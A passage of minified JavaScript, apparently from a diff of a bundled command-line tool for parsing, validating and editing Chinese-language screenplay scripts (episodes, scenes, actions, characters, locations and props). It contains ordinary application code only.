Set},a=(u,y,m)=>{if(!m||c[u].has(m))throw new Error(`Duplicate or missing ${u} source identity: ${m}`);c[u].add(m),s[u][y]=m},d=(u,y,m,g)=>{let w=u.ensure(y.name,m),h={[g]:w.provisional_id};return y.state!==void 0&&(h.state_id=u.stateId(w,y.state)),h},p=e.episodes.map((u,y)=>(a("episode",u.episode_id,u.identity_key),{episode_id:u.episode_id,...u.title?{title:u.title}:{},scenes:u.scenes.map((m,g)=>{let w=`${u.episode_id}/${m.scene_id}`;a("scene",w,m.identity_key);let h={episode:y,scene:g},_=m.location?d(i,m.location,h,"location_id"):null,x=m.actors.map(k=>d(o,k,h,"actor_id")),E=m.props.map(k=>d(r,k,h,"prop_id")),A=m.actions.map((k,N)=>{a("action",`${w}#${N}`,k.identity_key);let M={type:k.type,content:k.content};if(k.speaker)if("name"in k.speaker){let I=o.ensure(k.speaker.name,h),O={actor_id:I.provisional_id};k.speaker.state!==void 0&&(O.state_id=o.stateId(I,k.speaker.state)),M.speaker=O}else M.speaker=k.speaker.label!==void 0?{kind:k.speaker.kind,label:k.speaker.label}:{kind:k.speaker.kind};return(k.type==="dialogue"||k.type==="inner_thought")&&(k.parenthetical!==void 0?M.emotion=k.parenthetical:k.emotion!==void 0&&(M.emotion=k.emotion)),k.extend!==void 0&&(M.extend=k.extend),M});return{scene_id:m.scene_id,...m.environment?{environment:m.environment}:{},location:_,actors:x,props:E,actions:A}})})),l=(u,y,m)=>u.list().map(g=>({[y]:g.provisional_id,[m]:g.names[0]??g.provisional_id,aliases:g.names.slice(1),description:"",states:CS(g)}));return{script:{version:3,title:e.title,worldview:"",style:"",actors:l(o,"actor_id","actor_name"),locations:l(i,"location_id","location_name"),props:l(r,"prop_id","prop_name"),episodes:p},assets:[...o.list(),...i.list(),...r.list()],identityKeys:s}}function kg(e,t={}){let n=t.maxChars??500,o=e.split(`
237
+ `)},"scan"),t));Me(o,["\u96C6\u53F7\uFF0C\u4ECE 1 \u5F00\u59CB"]);let i=ee(e.command("find [query]"),"read").description("\u6309\u6B63\u6587\u6B63\u5219 / \u8BF4\u8BDD\u4EBA / \u7C7B\u578B\u5B9A\u4F4D action\uFF0C\u8FD4\u56DE\u951A\u70B9 + \u547D\u4E2D\u7A97\u53E3").option("-i, --in <addr>",`\u9650\u5236\u8303\u56F4\uFF0C${Po}`).option("-a, --speaker <name>","\u4EBA\u7269\u540D\u6216 actor id").option("-t, --type <type>","action | dialogue | inner_thought | transition").option("--limit <n>","\u6700\u591A\u8FD4\u56DE\u51E0\u6761\uFF08\u9ED8\u8BA4 40\uFF09").option("--full","\u8FD4\u56DE\u6574\u6761\u6B63\u6587\u800C\u4E0D\u662F\u547D\u4E2D\u7A97\u53E3").action(H(h=>ct(()=>mm(Ke(h),ye(h),{...he(h,"in")?{in:he(h,"in")}:{},...he(h,"speaker")?{speaker:he(h,"speaker")}:{},...he(h,"type")?{type:he(h,"type")}:{},...mi(h,"limit")!==void 0?{limit:mi(h,"limit")}:{},...h.full?{full:!0}:{}}),"find"),t));Me(i,["\u6B63\u5219\uFF1B\u53EA\u6309 speaker/type \u8FC7\u6EE4\u65F6\u53EF\u7701\u7565"]);let r=ee(e.command("refs <addr>"),"read").description("\u53EA\u8BFB\u5B9A\u4F4D\u8D44\u4EA7/\u9020\u578B\u7684\u573A\u666F\u7ED1\u5B9A\u3001\u8BF4\u8BDD\u5F15\u7528\u548C\u6B63\u6587\u63D0\u53CA\uFF0C\u8FD4\u56DE\u53EF read \u7684\u5730\u5740\u53CA\u4E0A\u4E0B\u6587").option("--offset <n>","\u4ECE\u7B2C\u51E0\u6761\u5F15\u7528\u7EE7\u7EED\uFF08\u4ECE 0 \u5F00\u59CB\uFF09").option("--limit <n>","\u672C\u6279\u5F15\u7528\u6570\uFF08\u9ED8\u8BA4 20\uFF09").option("--context <n>","\u6B63\u6587\u547D\u4E2D\u524D\u540E\u5404\u51E0\u6761 action\uFF08\u9ED8\u8BA4 3\uFF09").action(H(h=>{let _=lp(Ke(h),ye(h),{offset:mi(h,"offset"),limit:mi(h,"limit"),context:mi(h,"context")});return[{text:up(_),data:{op:"refs",changed:!1,..._}},G]},t));Me(r,["\u4EBA\u7269/\u573A\u666F/\u9053\u5177 ID \u6216\u540D\u79F0\uFF0C\u6216 <\u8D44\u4EA7>/<\u9020\u578B>\uFF1B\u6B63\u6587\u63D0\u53CA\u4E0D\u7B49\u4E8E\u5B9E\u9645\u51FA\u573A"]);let s=ee(e.command("span <range>"),"read").description("\u628A\u4E00\u6BB5 action \u6362\u7B97\u6210\u96C6\u5185\u89C6\u9891\u65F6\u95F4\u7A97\u53E3\uFF08\u534A\u5F00\u533A\u95F4\uFF09").action(H(h=>{let _=Ke(h);return ct(()=>gm(_,ye(h)),"span",()=>({rows:[gp(_,ye(h))]}))},t));Me(s,[`${Po}\uFF0C\u6216 \`\u8D77ID..\u6B62ID\``]),ee(e.command("validate"),"read").description("\u8DD1\u6574\u672C\u6821\u9A8C").action(H(h=>{let _=Ke(h),x=Zi(_);return[{text:bm(_),data:{op:"script.validate",changed:!1,passed:x.ok,script_path:_.path,stats:{actors:_.assets.filter(E=>E.kind==="actor").length,locations:_.assets.filter(E=>E.kind==="location").length,props:_.assets.filter(E=>E.kind==="prop").length,episodes:_.episodes.length,scenes:_.episodes.reduce((E,A)=>E+A.scenes.length,0),actions:kn(_).length},issues:[...x.errors.map(E=>({...E,severity:"error"})),...x.warnings.map(E=>({...E,severity:"warning"}))]}},x.ok?G:uo]},t)),ee(e.command("issues"),"read").description("\u5217\u5F53\u524D\u6821\u9A8C\u95EE\u9898").option("--severity <severity>","error | warning").option("--code <code>","\u6309 issue code \u8FC7\u6EE4").action(H(h=>ct(()=>yp(Ke(h),{...he(h,"severity")?{severity:he(h,"severity")}:{},...he(h,"code")?{code:he(h,"code")}:{}}),"issues"),t));let c=ee(e.command("edit <addr>"),"write").description(`\u6539\u4E00\u4E2A\u8282\u70B9\u7684\u5B57\u6BB5\uFF1B\u5730\u5740\u51B3\u5B9A\u54EA\u4E9B\u5B57\u6BB5\u5408\u6CD5\u3002${Po}`).option("--content <text>","action \u6B63\u6587").option("--paren <text>","\u8868\u6F14\u63D0\u793A").option("--no-paren","\u5220\u9664\u8868\u6F14\u63D0\u793A\u5B57\u6BB5").option("--speaker <name>","\u4EBA\u7269\u540D\u6216 `\u540D\u5B57\xB7\u72B6\u6001`\uFF1B\u65C1\u767D/\u5E7F\u64AD/\u753B\u5916/\u7FA4\u58F0\u4EA6\u53EF").option("--ts <time>","\u65F6\u95F4\u6233").option("--no-ts","\u5220\u9664\u65F6\u95F4\u6233").option("--type <type>","action | dialogue | inner_thought | transition").option("--transition <spec>","\u8F6C\u573A\u63D0\u793A `\u76EE\u6807|\u8FC7\u7A0B|\u5BF9\u6BD4`").option("--no-transition","\u5220\u9664\u8F6C\u573A\u63D0\u793A").option("--name <text>","\u8D44\u4EA7 / \u72B6\u6001\u540D").option("--desc <text>","\u8D44\u4EA7 / \u72B6\u6001\u63CF\u8FF0").option("--importance <tier>","featured | background").option("--role <type>","\u4E3B\u89D2 | \u914D\u89D2").option("--alias <list>","\u8D44\u4EA7\u522B\u540D\uFF0C\u9017\u53F7\u5206\u9694").option("--space <space>","\u573A\uFF1Ainterior | exterior").option("--time <time>","\u573A\uFF1Aday | night | dawn | dusk").option("--title <text>","\u96C6 / \u5267\u672C\u6807\u9898").option("--synopsis <text>","\u96C6 / \u5267\u672C\u6897\u6982").option("--logline <text>","\u5267\u672C logline").option("--theme <text>","\u5267\u672C\u4E3B\u9898").option("--worldview <text>","\u5267\u672C\u4E16\u754C\u89C2").option("--style <text>","\u5267\u672C\u98CE\u683C").option("--main <list>","\u4E3B\u8981\u4EBA\u7269 `\u540D\u5B57=\u5B9A\u4F4D,\u2026`").action(H(h=>{let _={};for(let x of["content","speaker","type","name","desc","importance","role","space","time","title","synopsis","logline","theme","worldview","style","main"]){let E=he(h,x);E!==void 0&&(_[x]=E)}for(let x of["paren","ts","transition"])if(h[x]===!1)_[x]=null;else{let E=he(h,x);E!==void 0&&(_[x]=E)}return h.alias!==void 0&&(_.aliases=Vp(h.alias)),ct(()=>hm(Ke(h),ye(h),_),"edit")},t));Me(c,[Po]);let a=ee(e.command("insert <addr> <content>"),"write").description("\u5728\u67D0\u6761 action \u524D/\u540E\u63D2\u5165\u4E00\u6761\u65B0 action").requiredOption("-t, --type <type>","action | dialogue | inner_thought | transition").option("--before","\u63D2\u5230\u76EE\u6807\u4E4B\u524D\uFF08\u9ED8\u8BA4\u4E4B\u540E\uFF09").option("-a, --speaker <name>","dialogue / inner_thought \u5FC5\u586B").option("--paren <text>","\u8868\u6F14\u63D0\u793A").action(H(h=>ct(()=>ym(Ke(h),ye(h),h.before?"before":"after",he(h,"type"),ye(h,1),he(h,"speaker"),he(h,"paren")),"insert"),t));Me(a,["\u76F8\u90BB action \u7684\u5730\u5740","\u65B0 action \u7684\u6B63\u6587"]);let d=ee(e.command("move <addr> <to>"),"write").description("\u628A\u4E00\u6761 action \u632A\u5230\u53E6\u4E00\u6761\u65C1\u8FB9\uFF1B\u8DE8\u573A\u4E5F\u4FDD\u6301 action_id").option("--before","\u632A\u5230\u76EE\u6807\u4E4B\u524D\uFF08\u9ED8\u8BA4\u4E4B\u540E\uFF09").action(H(h=>ct(()=>wm(Ke(h),ye(h),ye(h,1),h.before?"before":"after"),"move"),t));Me(d,["\u8981\u632A\u7684 action","\u76EE\u6807\u90BB\u5C45 action"]);let p=ee(e.command("write <addr>"),"write").description("\u7528 read \u8F93\u51FA\u7684\u540C\u4E00\u4EFD\u6B63\u6587\u683C\u5F0F\u56DE\u5199\u6574\u573A / \u6574\u96C6 / \u65B0\u96C6\uFF08`+`\uFF09").option("-f, --file <path>","\u6B63\u6587\u6587\u4EF6\uFF1B\u7701\u7565\u5219\u8BFB stdin").option("--allow-delete","\u5141\u8BB8\u5220\u9664\u6587\u672C\u91CC\u6D88\u5931\u7684\u573A / action").action(H(async h=>{let _=await import("node:fs"),x=he(h,"file"),E=x?_.readFileSync(x,"utf8"):_.readFileSync(0,"utf8");return ct(()=>Em(Ke(h),ye(h),E,{allowDelete:!!h.allow_delete}),"write")},t));Me(p,["\u573A / \u96C6\u5730\u5740\uFF0C\u6216 `+` \u8FFD\u52A0\u65B0\u96C6"]);let l=ee(e.command("replace <pattern> <to>"),"write").description("\u6279\u91CF\u66FF\u6362\u6B63\u6587\uFF1B\u9ED8\u8BA4\u53EA\u9884\u89C8\uFF0C--apply \u624D\u843D\u76D8\u3002\u8FC7\u6EE4\u53C2\u6570\u4E0E find \u76F8\u540C").option("-i, --in <addr>","\u9650\u5236\u8303\u56F4").option("-a, --speaker <name>","\u9650\u5B9A\u8BF4\u8BDD\u4EBA").option("-t, --type <type>","\u9650\u5B9A action \u7C7B\u578B").option("--apply","\u771F\u7684\u5199\u5165").action(H(h=>ct(()=>Am(Ke(h),ye(h),ye(h,1),{...he(h,"in")?{in:he(h,"in")}:{},...he(h,"speaker")?{speaker:he(h,"speaker")}:{},...he(h,"type")?{type:he(h,"type")}:{},...h.apply?{apply:!0}:{}}),"replace"),t));Me(l,["\u6B63\u5219","\u66FF\u6362\u6210\u4EC0\u4E48"]);let f=ee(e.command("ref <scene> <asset>"),"write").description("\u6539\u4E00\u4E2A\u573A\u5BF9\u67D0\u8D44\u4EA7\u7684\u5F15\u7528\uFF1B--state \u662F\u5B8C\u6574\u72B6\u6001\u96C6\u5408\u800C\u975E\u8FFD\u52A0").option("--state <list>","\u5B8C\u6574\u72B6\u6001\u96C6\u5408\uFF08\u540D\u5B57\u6216 ID\uFF09\uFF0C\u9017\u53F7\u5206\u9694\u6216\u91CD\u590D\u7ED9\u51FA",PS,[]).option("--remove","\u5220\u9664\u6574\u6761\u5F15\u7528").action(H(h=>ct(()=>Im(Ke(h),ye(h),ye(h,1),Vp(h.state).flatMap(_=>_.split(",")).map(_=>_.trim()).filter(Boolean),!!h.remove),"ref"),t));Me(f,["\u573A\u5730\u5740","\u4EBA\u7269 / \u5730\u70B9 / \u9053\u5177\u7684\u540D\u5B57\u6216 ID"]);let u=ee(e.command("asset <kind> <name>"),"write").description("\u767B\u8BB0\u4E00\u4E2A\u65B0\u7684 actor / location / prop").requiredOption("--desc <text>","\u63CF\u8FF0").option("--importance <tier>","featured | background","featured").option("--alias <list>","\u522B\u540D\uFF0C\u9017\u53F7\u5206\u9694").action(H(h=>ct(()=>vm(Ke(h),ye(h),ye(h,1),he(h,"desc")??"",he(h,"importance")??"featured",Vp(h.alias)),"asset"),t));Me(u,["actor | location | prop","\u540D\u5B57"]);let y=ee(e.command("state <asset> <name>"),"write").description("\u7ED9\u5DF2\u6709\u8D44\u4EA7\u52A0\u4E00\u4E2A\u72B6\u6001\uFF08\u9020\u578B\u6863\u4F4D\uFF09").requiredOption("--desc <text>","\u63CF\u8FF0").action(H(h=>ct(()=>Om(Ke(h),ye(h),ye(h,1),he(h,"desc")??""),"state"),t));Me(y,["\u8D44\u4EA7\u540D\u6216 ID","\u72B6\u6001\u540D"]);let m=ee(e.command("del <addr>"),"write").description("\u5220\u9664 action / \u573A / \u96C6 / \u8D44\u4EA7 / \u72B6\u6001").option("--replacement <state>","\u5220\u72B6\u6001\u65F6\u628A\u5F15\u7528\u6539\u5199\u5230\u8FD9\u4E2A\u72B6\u6001").option("--force","\u5BB9\u5668\u975E\u7A7A\u65F6\u4ECD\u7136\u5220\u9664").action(H(h=>ct(()=>Mm(Ke(h),ye(h),{...he(h,"replacement")?{replacement:he(h,"replacement")}:{},...h.force?{force:!0}:{}}),"del"),t));Me(m,[Po]);let g=ee(e.command("merge <src> <dst>"),"write").description("\u628A\u4E00\u4E2A\u8D44\u4EA7\u5E76\u5165\u53E6\u4E00\u4E2A\uFF1A\u5168\u90E8\u573A\u666F\u5F15\u7528\u4E0E speaker \u6539\u5199\u8FC7\u53BB").action(H(h=>ct(()=>Ep(Ke(h),ye(h),ye(h,1)),"merge"),t));Me(g,["\u88AB\u5E76\u5165\u7684\u8D44\u4EA7","\u4FDD\u7559\u7684\u8D44\u4EA7"]);let w=ee(e.command("ext <addr> [key] [value]"),"write").description("\u8BFB\u6216\u5199\u4EFB\u610F\u8282\u70B9\u7684 extend \u6570\u636E").option("--remove","\u5220\u9664\u8BE5 key").action(H(h=>ct(()=>Rm(Ke(h),ye(h),ye(h,1)||void 0,ye(h,2)||void 0,!!h.remove),"ext"),t));Me(w,[Po,"extend key","\u503C"])}function PS(e,t){return[...t,e]}import*as Py from"node:path";var to={createExecutor:em};import*as pl from"node:fs";import*as dr from"node:path";var Rn=e=>e.normalize("NFC").replace(/\s+/g," ").trim().toLowerCase();var ns=e=>String(e).padStart(3,"0"),$p=e=>e.normalize("NFC").replace(/\s+/g," ").trim();function Ig(e,t={}){let n=[],o=[],i=null,r=null,s=0,c=0,a=new Map,d=(l,f)=>{let u=`text:${l}:${f.chunk}:${f.line_start}:${f.line_end}`,y=(a.get(u)??0)+1;return a.set(u,y),`${u}:${y}`},p=(l,f)=>{let u=l.actors.find(y=>$p(y.name)===$p(f.name));u?f.state&&!u.state&&(u.state=f.state):l.actors.push(f)};for(let l of e)switch(l.kind){case"episode":{s++,i={identity_key:d("episode",l.source),episode_id:`ep_${ns(s)}`,scenes:[]},l.title!==void 0&&(i.title=l.title),n.push(i),r=null;break}case"scene":{i||(s++,i={identity_key:d("synthetic-episode",l.source),episode_id:`ep_${ns(s)}`,scenes:[]},n.push(i)),c++,r={identity_key:d("scene",l.source),scene_id:`scn_${ns(c)}`,location:l.location?{...l.location}:null,actors:(l.actors??[]).map(f=>({...f})),props:(l.props??[]).map(f=>({...f})),actions:[]},l.environment&&(r.environment=l.environment),i.scenes.push(r);break}case"note":o.push({content:l.content,...l.category?{category:l.category}:{},source:l.source});break;case"action":case"transition":{if(!r){o.push({content:l.content,category:"preamble",source:l.source});break}r.actions.push({identity_key:d(l.kind,l.source),type:l.kind,content:l.content});break}case"dialogue":case"inner_thought":{if(!r){o.push({content:l.content,category:"preamble",source:l.source});break}let f={identity_key:d(l.kind,l.source),type:l.kind,content:l.content,speaker:l.speaker};l.emotion!==void 0&&(f.emotion=l.emotion),r.actions.push(f),"name"in l.speaker&&p(r,l.speaker.state!==void 0?{name:l.speaker.name,state:l.speaker.state}:{name:l.speaker.name});break}}return{script:{title:t.title??"",episodes:n},notes:o}}var os=class{constructor(t,n,o){this.prefix=t;this.kind=n;this.nextStateId=o}prefix;kind;nextStateId;byNorm=new Map;order=[];ensure(t,n){let o=$p(t),i=this.byNorm.get(o);return i||(i={provisional_id:`${this.prefix}_${ns(this.order.length+1)}`,kind:this.kind,names:[],states:[],occurrences:[]},this.byNorm.set(o,i),this.order.push(i)),i.names.includes(t)||i.names.push(t),i.occurrences.push(n),i}stateId(t,n){let o=Rn(n),i=t.states.find(s=>Rn(s.name)===o);if(i)return i.id;let r=this.nextStateId();return t.states.push({name:n,id:r}),r}list(){return this.order}};function CS(e){let t=[{state_id:"default",state_name:"default",description:""}];for(let n of e.states)t.push({state_id:n.id,state_name:n.name,description:""});return t}function Ra(e){let t=0,n=()=>`st_${ns(++t)}`,o=new os("act","actor",n),i=new os("loc","location",n),r=new os("prp","prop",n),s={episode:{},scene:{},action:{}},c={episode:new Set,scene:new Set,action:new Set},a=(u,y,m)=>{if(!m||c[u].has(m))throw new Error(`Duplicate or missing ${u} source identity: ${m}`);c[u].add(m),s[u][y]=m},d=(u,y,m,g)=>{let w=u.ensure(y.name,m),h={[g]:w.provisional_id};return y.state!==void 0&&(h.state_id=u.stateId(w,y.state)),h},p=e.episodes.map((u,y)=>(a("episode",u.episode_id,u.identity_key),{episode_id:u.episode_id,...u.title?{title:u.title}:{},scenes:u.scenes.map((m,g)=>{let w=`${u.episode_id}/${m.scene_id}`;a("scene",w,m.identity_key);let h={episode:y,scene:g},_=m.location?d(i,m.location,h,"location_id"):null,x=m.actors.map(k=>d(o,k,h,"actor_id")),E=m.props.map(k=>d(r,k,h,"prop_id")),A=m.actions.map((k,N)=>{a("action",`${w}#${N}`,k.identity_key);let M={type:k.type,content:k.content};if(k.speaker)if("name"in k.speaker){let I=o.ensure(k.speaker.name,h),O={actor_id:I.provisional_id};k.speaker.state!==void 0&&(O.state_id=o.stateId(I,k.speaker.state)),M.speaker=O}else M.speaker=k.speaker.label!==void 0?{kind:k.speaker.kind,label:k.speaker.label}:{kind:k.speaker.kind};return(k.type==="dialogue"||k.type==="inner_thought")&&(k.parenthetical!==void 0?M.emotion=k.parenthetical:k.emotion!==void 0&&(M.emotion=k.emotion)),k.extend!==void 0&&(M.extend=k.extend),M});return{scene_id:m.scene_id,...m.environment?{environment:m.environment}:{},location:_,actors:x,props:E,actions:A}})})),l=(u,y,m)=>u.list().map(g=>({[y]:g.provisional_id,[m]:g.names[0]??g.provisional_id,aliases:g.names.slice(1),description:"",states:CS(g)}));return{script:{version:3,title:e.title,worldview:"",style:"",actors:l(o,"actor_id","actor_name"),locations:l(i,"location_id","location_name"),props:l(r,"prop_id","prop_name"),episodes:p},assets:[...o.list(),...i.list(),...r.list()],identityKeys:s}}function Ag(e,t={}){let n=t.maxChars??500,o=e.split(`
238
238
  `),i=[],r=0,s=0,c=a=>{let d=o.slice(r,a).join(`
239
- `);return d.trim()===""?!1:(i.push({index:i.length,core_line_start:r,core_line_end:a,text:d}),r=a,s=0,!0)};for(let a=0;a<o.length;a++){let d=o[a],l=s+(a===r?0:1)+d.length;d.trim()!==""&&a>r&&l>n&&c(a)?s=d.length:s=l}return c(o.length),i}var bg=["episode","scene","action","dialogue","inner_thought","transition","note"];var TS={day:"day",\u65E5:"day",\u767D\u5929:"day",\u65E5\u95F4:"day",\u663C:"day",\u663C\u95F4:"day",night:"night",\u591C:"night",\u591C\u665A:"night",\u591C\u95F4:"night",\u665A:"night",dawn:"dawn",\u6668:"dawn",\u6E05\u6668:"dawn",\u65E9\u6668:"dawn",\u9ECE\u660E:"dawn",\u62C2\u6653:"dawn",dusk:"dusk",\u660F:"dusk",\u9EC4\u660F:"dusk",\u508D\u665A:"dusk",\u65E5\u843D:"dusk"};function To(e){if(typeof e!="string")return;let t=e.normalize("NFC").replace(/\s+/g,"").trim().toLocaleLowerCase();return TS[t]}var we=class extends Error{constructor(n,o){super(`line ${o}: ${n}`);this.line=o}line};function sr(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function on(e,t,n){for(let o of Object.keys(e))if(!t.includes(o))throw new we(`unknown field '${o}'`,n)}function VS(e,t){if(!sr(e))throw new we("missing source",t);on(e,["chunk","line_start","line_end"],t);let{chunk:n,line_start:o,line_end:i}=e;if(![n,o,i].every(r=>typeof r=="number"&&Number.isInteger(r)&&r>=0))throw new we("source needs integer chunk/line_start/line_end",t);if(o>=i)throw new we("source line_start must be < line_end",t);return{chunk:n,line_start:o,line_end:i}}function rr(e,t,n){let o=e[t];if(typeof o!="string"||o==="")throw new we(`'${t}' must be a non-empty string`,n);return o}function Vo(e,t,n){if(!(t in e)||e[t]===void 0)return;let o=e[t];if(typeof o!="string"||o==="")throw new we(`'${t}' must be a non-empty string`,n);return o}function vg(e,t,n){if(!Array.isArray(e))throw new we(`'${t}' must be an array`,n);return e.map(o=>{if(!sr(o))throw new we(`'${t}' entries must be objects`,n);on(o,["name","state"],n);let i={name:rr(o,"name",n)},r=Vo(o,"state",n);return r!==void 0&&(i.state=r),i})}function $S(e,t){if(!sr(e))throw new we("dialogue/inner_thought needs a speaker",t);if("kind"in e){on(e,["kind","label"],t);let r=e.kind;if(typeof r!="string"||!Vn.includes(r))throw new we(`speaker.kind must be one of ${Vn.join("|")}`,t);let s={kind:r},c=Vo(e,"label",t);return c!==void 0&&(s.label=c),s}on(e,["name","state"],t);let n=rr(e,"name",t);if(!/[\p{L}\p{N}]/u.test(n))throw new we("speaker.name must contain a letter or number",t);let o={name:n},i=Vo(e,"state",t);return i!==void 0&&(o.state=i),o}function DS(e,t){let n=e.kind;if(typeof n!="string"||!bg.includes(n))throw new we(`unknown or missing kind '${String(n)}'`,t);let o=VS(e.source,t);switch(n){case"episode":{on(e,["kind","episode","title","source"],t);let i=e.episode;if(typeof i!="number"||!Number.isInteger(i))throw new we("episode must be an integer",t);let r={kind:n,episode:i,source:o},s=Vo(e,"title",t);return s!==void 0&&(r.title=s),r}case"scene":{on(e,["kind","scene","environment","location","actors","props","source"],t);let i={kind:n,source:o};if("scene"in e&&e.scene!==void 0){if(typeof e.scene!="number"||!Number.isInteger(e.scene))throw new we("scene must be an integer",t);i.scene=e.scene}if("environment"in e&&e.environment!==void 0){if(!sr(e.environment))throw new we("environment must be an object",t);on(e.environment,["space","time"],t);let r={},s=Vo(e.environment,"space",t);s!==void 0&&(r.space=s);let c=Vo(e.environment,"time",t);if(c!==void 0){let a=To(c);if(!a)throw new we("environment.time must be day|night|dawn|dusk or a recognized Chinese equivalent",t);r.time=a}i.environment=r}if("location"in e&&e.location!==void 0){if(!sr(e.location))throw new we("location must be an object",t);on(e.location,["name","state"],t);let r={name:rr(e.location,"name",t)},s=Vo(e.location,"state",t);s!==void 0&&(r.state=s),i.location=r}return"actors"in e&&e.actors!==void 0&&(i.actors=vg(e.actors,"actors",t)),"props"in e&&e.props!==void 0&&(i.props=vg(e.props,"props",t)),i}case"action":case"transition":{on(e,["kind","content","source"],t);let i=rr(e,"content",t);return{kind:n,content:i,source:o}}case"dialogue":case"inner_thought":{on(e,["kind","speaker","content","emotion","source"],t);let i=rr(e,"content",t),r=$S(e.speaker,t),s={kind:n,speaker:r,content:i,source:o},c=Vo(e,"emotion",t);return c!==void 0&&(s.emotion=c),s}case"note":{on(e,["kind","content","category","source"],t);let i=rr(e,"content",t),r={kind:n,content:i,source:o};if("category"in e&&e.category!==void 0){let s=e.category;if(s!=="author_note"&&s!=="format_note"&&s!=="unclassified")throw new we("note.category must be author_note|format_note|unclassified",t);r.category=s}return r}default:throw new we(`unhandled kind '${n}'`,t)}}function ss(e,t=0){let n=[],o=e.split(`
240
- `);for(let i=0;i<o.length;i++){let r=o[i].trim();if(r==="")continue;let s;try{s=JSON.parse(r)}catch{throw new we("invalid JSON",i+1+t)}if(!sr(s))throw new we("record must be a JSON object",i+1+t);n.push(DS(s,i+1+t))}return n}var ne=e=>e.normalize("NFC").replace(/\s+/g," ").trim(),hi=e=>{let t=/[((]/.exec(e);return!t||t.index===0?e:e.slice(0,t.index).trim()},GS=e=>e.startEp===e.endEp?`\u7B2C${e.startEp}\u96C6`:`\u7B2C${e.startEp}\u96C6\u2013\u7B2C${e.endEp}\u96C6`,Bp=e=>e.startEp===e.endEp?`\u7B2C${e.startEp}\u96C6`:`\u7B2C${e.startEp}\u96C6\u2013\u7B2C${e.endEp}\u96C6`,Lg=()=>({newEntities:[],merges:[],looks:[],lookChanges:[],subEvents:[],summary:""}),Ng=()=>({entities:[],lookChanges:{},recent:[],synopsis:[]}),Jp={recentEpisodes:6,synopsisChars:3500,arcFold:10},BS=1e4;function Ug(e){let t=0,n=0;for(let o of e){n++;let i=o.codePointAt(0);(i>=13312&&i<=40959||i>=12288&&i<=12543||i>=65280&&i<=65519||i>=63744&&i<=64255)&&t++}return Math.round(t*.7+(n-t)*.25)}function Pg(e,t=BS){let n=[],o=0,i=0;for(let r=0;r<e.length;r++)r>o&&i+e[r]>t&&(n.push([o+1,r]),o=r,i=0),i+=e[r];return o<e.length&&n.push([o+1,e.length]),n}var JS={actor:"\u4EBA\u7269",location:"\u573A\u666F",prop:"\u9053\u5177"};function zt(e,t){let n=ne(t);return e.entities.find(o=>ne(o.canonical)===n||o.aliases.some(i=>ne(i)===n))}var Og=(e,t)=>{ne(t)!==ne(e.canonical)&&!e.aliases.some(n=>ne(n)===ne(t))&&e.aliases.push(t)},KS=["\u5E74\u8F7B","\u5E74\u8001","\u5E74\u5E7C","\u5E74\u5C11","\u4E2D\u5E74","\u9752\u5E74","\u5C11\u5E74","\u8001\u5E74","\u5E7C\u5E74","\u8001","\u5C0F","\u5927","\u5C11","\u5E7C"];function jS(e,t){let n=ne(e),o=ne(t);if(n===o||!n.includes(o))return!1;let i=n.replace(o,"").trim();return i.length>0&&!KS.some(r=>i===r||i.startsWith(r))}function zS(e){let t=e.filter(n=>e.some(o=>o!==n&&jS(n,o)));return t.length?t.reduce((n,o)=>o.length>n.length?o:n):e[0]}var Rg=["\u4F17\u4EBA","\u7FA4\u4F17","\u6C11\u4F17","\u89C2\u4F17","\u4EBA\u7FA4","\u4EBA\u4EEC","\u5927\u5BB6","\u8DEF\u4EBA","\u884C\u4EBA","\u770B\u5BA2","\u56F4\u89C2\u8005","\u6751\u6C11","\u58EB\u5175","\u767E\u59D3","\u5B66\u751F","\u540C\u5B66","\u4E2B\u9B1F","\u968F\u4ECE","\u4F8D\u536B","\u5BB6\u4E01","\u4EC6\u4EBA","\u4E0B\u4EBA","\u5B69\u5B50","\u8F7F\u592B","\u62A4\u536B","\u624B\u4E0B","\u5C0F\u5F1F","\u55BD\u5570","\u5B98\u5175","\u8859\u5F79","\u592A\u76D1","\u5BAB\u5973","\u5A62\u5973","\u5546\u8D29","\u98DF\u5BA2"],HS=["\u4F17\u4EBA","\u7FA4\u4F17","\u6C11\u4F17","\u89C2\u4F17","\u4EBA\u7FA4","\u4EBA\u4EEC","\u5927\u5BB6","\u767E\u59D3","\u5B98\u5175"],QS=/^(?:一群|一众|全体|所有|几名|数名|多名|[0-9零一二两三四五六七八九十百千]+名?)/;function dt(e){let t=ne(e).replace(/[0-9零一二两三四五六七八九十百千]+名?$/,"").trim();return t?t.endsWith("\u4EEC")||Rg.includes(t)||HS.some(n=>t.endsWith(n))?!0:QS.test(t)&&Rg.some(n=>t.endsWith(n)):!1}function $o(e,t){let n=hi(t);return zt(e,n)?.canonical??n}function FS(e,t){let n=ne(t);return e.looks.find(o=>ne(o.name)===n||o.aliases.some(i=>ne(i)===n))?.name??t}var YS=["\u5E38\u6001","\u65E5\u5E38","\u5E73\u65F6","\u57FA\u7840","\u666E\u901A"];function Kp(e){if(e.looks.length!==0)return(e.looks.find(t=>YS.some(n=>t.name.includes(n)))??e.looks[0]).name}function Gp(e,t,n,o){let i=ne(hi(n));if(i)return e.entities.find(r=>r.kind===t&&r!==o&&(ne(r.canonical)===i||r.aliases.some(s=>ne(s)===i)))}function Mg(e){let t=[e.canonical,...e.aliases],n=zS(t);ne(n)!==ne(e.canonical)&&(e.canonical=n,e.aliases=t.filter(o=>ne(o)!==ne(n)))}function as(e,t,n,o=n){for(let r of t.newEntities){let s=hi(r.name);if(!s)continue;let c=Gp(e,r.kind,s);if(!c){let d=[];for(let p of r.aliases){let l=hi(p);l&&ne(l)!==ne(s)&&!Gp(e,r.kind,l)&&d.push(l)}e.entities.push({kind:r.kind,canonical:s,aliases:[...new Set(d)],description:r.description,looks:[{name:r.defaultLook.name,aliases:[],description:r.defaultLook.description}],lastSeen:o});continue}for(let d of r.aliases){let p=hi(d);p&&!Gp(e,r.kind,p,c)&&Og(c,p)}!c.description&&r.description&&(c.description=r.description);let a=c.looks.find(d=>ne(d.name)===ne(r.defaultLook.name));a?a.description=r.defaultLook.description:c.looks.unshift({name:r.defaultLook.name,aliases:[],description:r.defaultLook.description}),Mg(c)}for(let{from:r,into:s}of t.merges){let c=hi(s);if(!c)continue;let a=zt(e,c);if(!a)continue;let d=hi(r);!d||ne(d)===ne(a.canonical)||zt(e,d)||(Og(a,d),Mg(a))}for(let{entity:r,names:s,description:c}of t.looks){let a=zt(e,r);if(!a)continue;let d=s.map(f=>f.trim()).filter(Boolean);if(!d.length)continue;let 